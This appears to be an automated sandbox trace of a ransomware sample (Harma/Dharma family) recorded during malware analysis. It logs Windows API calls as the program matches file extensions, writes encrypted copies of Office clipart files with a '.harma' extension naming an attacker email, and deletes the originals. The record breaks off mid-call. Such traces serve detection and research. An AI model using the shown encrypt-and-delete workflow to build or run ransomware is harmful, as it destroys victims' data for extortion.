[0147.127] lstrlenW (lpString=".ppt") returned 4 [0147.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.127] lstrlenW (lpString=".zip") returned 4 [0147.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.127] lstrlenW (lpString=".rar") returned 4 [0147.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString=".bz2") returned 4 [0147.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString=".7z") returned 3 [0147.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.127] lstrlenW (lpString=".dbf") returned 4 [0147.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.127] lstrlenW (lpString=".1cd") returned 4 [0147.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.127] lstrlenW (lpString=".jpg") returned 4 [0147.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.128] lstrlenW (lpString=".doc") returned 4 [0147.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.128] lstrlenW (lpString=".docx") returned 5 [0147.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.128] lstrlenW (lpString=".pdf") returned 4 [0147.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.128] lstrlenW (lpString=".xls") returned 4 [0147.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.128] lstrlenW (lpString=".xlsx") returned 5 [0147.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.128] lstrlenW (lpString=".ppt") returned 4 [0147.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.128] lstrlenW (lpString=".zip") returned 4 [0147.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.128] lstrlenW (lpString=".rar") returned 4 [0147.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.128] lstrlenW (lpString=".bz2") returned 4 [0147.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.128] lstrlenW (lpString=".7z") returned 3 [0147.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.128] lstrlenW (lpString=".dbf") returned 4 [0147.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.128] lstrlenW (lpString=".1cd") returned 4 [0147.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.128] lstrlenW (lpString=".jpg") returned 4 [0147.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.129] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.129] lstrlenW (lpString="BS00135_.WMF") returned 12 [0147.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0147.129] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1044) returned 1 [0147.129] CloseHandle (hObject=0x344) returned 1 [0147.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0147.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0147.130] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.130] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.134] GetLastError () returned 0x0 [0147.134] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x414, lpOverlapped=0x0) returned 1 [0147.171] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x420, lpOverlapped=0x0) returned 1 [0147.172] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.172] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.172] SetEndOfFile (hFile=0x350) returned 1 [0147.172] CloseHandle (hObject=0x350) returned 1 [0147.172] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.172] SetEndOfFile (hFile=0x344) returned 1 [0147.174] CloseHandle (hObject=0x344) returned 1 [0147.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0147.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.176] lstrlenW (lpString=".doc") returned 4 [0147.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.176] lstrlenW (lpString=".docx") returned 5 [0147.176] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.176] lstrlenW (lpString=".pdf") returned 4 [0147.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.176] lstrlenW (lpString=".xls") returned 4 [0147.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.176] lstrlenW (lpString=".xlsx") returned 5 [0147.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.176] lstrlenW (lpString=".ppt") returned 4 [0147.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.176] lstrlenW (lpString=".zip") returned 4 [0147.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.176] lstrlenW (lpString=".rar") returned 4 [0147.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.176] lstrlenW (lpString=".bz2") returned 4 [0147.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.176] lstrlenW (lpString=".7z") returned 3 [0147.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.176] lstrlenW (lpString=".dbf") returned 4 [0147.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.176] lstrlenW (lpString=".1cd") returned 4 [0147.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.176] lstrlenW (lpString=".jpg") returned 4 [0147.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.177] lstrlenW (lpString=".doc") returned 4 [0147.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString=".docx") returned 5 [0147.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.177] lstrlenW (lpString=".pdf") returned 4 [0147.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString=".xls") returned 4 [0147.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.177] lstrlenW (lpString=".xlsx") returned 5 [0147.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.177] lstrlenW (lpString=".ppt") returned 4 [0147.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.177] lstrlenW (lpString=".zip") returned 4 [0147.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.177] lstrlenW (lpString=".rar") returned 4 [0147.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString=".bz2") returned 4 [0147.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString=".7z") returned 3 [0147.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.177] lstrlenW (lpString=".dbf") returned 4 [0147.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.177] lstrlenW (lpString=".1cd") returned 4 [0147.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0147.177] lstrlenW (lpString=".jpg") returned 4 [0147.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.178] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.178] lstrlenW (lpString="BS00136_.WMF") returned 12 [0147.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0147.178] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2166) returned 1 [0147.178] CloseHandle (hObject=0x344) returned 1 [0147.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0147.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0147.179] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.179] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.179] GetLastError () returned 0x0 [0147.180] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x876, lpOverlapped=0x0) returned 1 [0147.182] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x880, lpOverlapped=0x0) returned 1 [0147.183] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.183] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.183] SetEndOfFile (hFile=0x350) returned 1 [0147.183] CloseHandle (hObject=0x350) returned 1 [0147.183] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.183] SetEndOfFile (hFile=0x344) returned 1 [0147.186] CloseHandle (hObject=0x344) returned 1 [0147.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0147.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.187] lstrlenW (lpString=".doc") returned 4 [0147.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.187] lstrlenW (lpString=".docx") returned 5 [0147.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.187] lstrlenW (lpString=".pdf") returned 4 [0147.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.187] lstrlenW (lpString=".xls") returned 4 [0147.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.187] lstrlenW (lpString=".xlsx") returned 5 [0147.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.187] lstrlenW (lpString=".ppt") returned 4 [0147.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.187] lstrlenW (lpString=".zip") returned 4 [0147.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.187] lstrlenW (lpString=".rar") returned 4 [0147.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.187] lstrlenW (lpString=".bz2") returned 4 [0147.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.187] lstrlenW (lpString=".7z") returned 3 [0147.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.187] lstrlenW (lpString=".dbf") returned 4 [0147.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.187] lstrlenW (lpString=".1cd") returned 4 [0147.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.187] lstrlenW (lpString=".jpg") returned 4 [0147.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.188] lstrlenW (lpString=".doc") returned 4 [0147.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString=".docx") returned 5 [0147.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.188] lstrlenW (lpString=".pdf") returned 4 [0147.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString=".xls") returned 4 [0147.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.188] lstrlenW (lpString=".xlsx") returned 5 [0147.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.188] lstrlenW (lpString=".ppt") returned 4 [0147.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.188] lstrlenW (lpString=".zip") returned 4 [0147.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.188] lstrlenW (lpString=".rar") returned 4 [0147.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString=".bz2") returned 4 [0147.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString=".7z") returned 3 [0147.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.188] lstrlenW (lpString=".dbf") returned 4 [0147.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.188] lstrlenW (lpString=".1cd") returned 4 [0147.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0147.188] lstrlenW (lpString=".jpg") returned 4 [0147.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.189] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.189] lstrlenW (lpString="BS00145_.WMF") returned 12 [0147.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0147.191] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1712) returned 1 [0147.191] CloseHandle (hObject=0x344) returned 1 [0147.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0147.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0147.191] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.191] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.192] GetLastError () returned 0x0 [0147.192] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x6b0, lpOverlapped=0x0) returned 1 [0147.701] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0147.703] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.703] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.703] SetEndOfFile (hFile=0x350) returned 1 [0147.703] CloseHandle (hObject=0x350) returned 1 [0147.703] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.703] SetEndOfFile (hFile=0x344) returned 1 [0147.706] CloseHandle (hObject=0x344) returned 1 [0147.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.708] lstrlenW (lpString=".doc") returned 4 [0147.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".docx") returned 5 [0147.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.708] lstrlenW (lpString=".pdf") returned 4 [0147.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".xls") returned 4 [0147.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.708] lstrlenW (lpString=".xlsx") returned 5 [0147.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.708] lstrlenW (lpString=".ppt") returned 4 [0147.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.708] lstrlenW (lpString=".zip") returned 4 [0147.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.708] lstrlenW (lpString=".rar") returned 4 [0147.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".bz2") returned 4 [0147.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".7z") returned 3 [0147.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 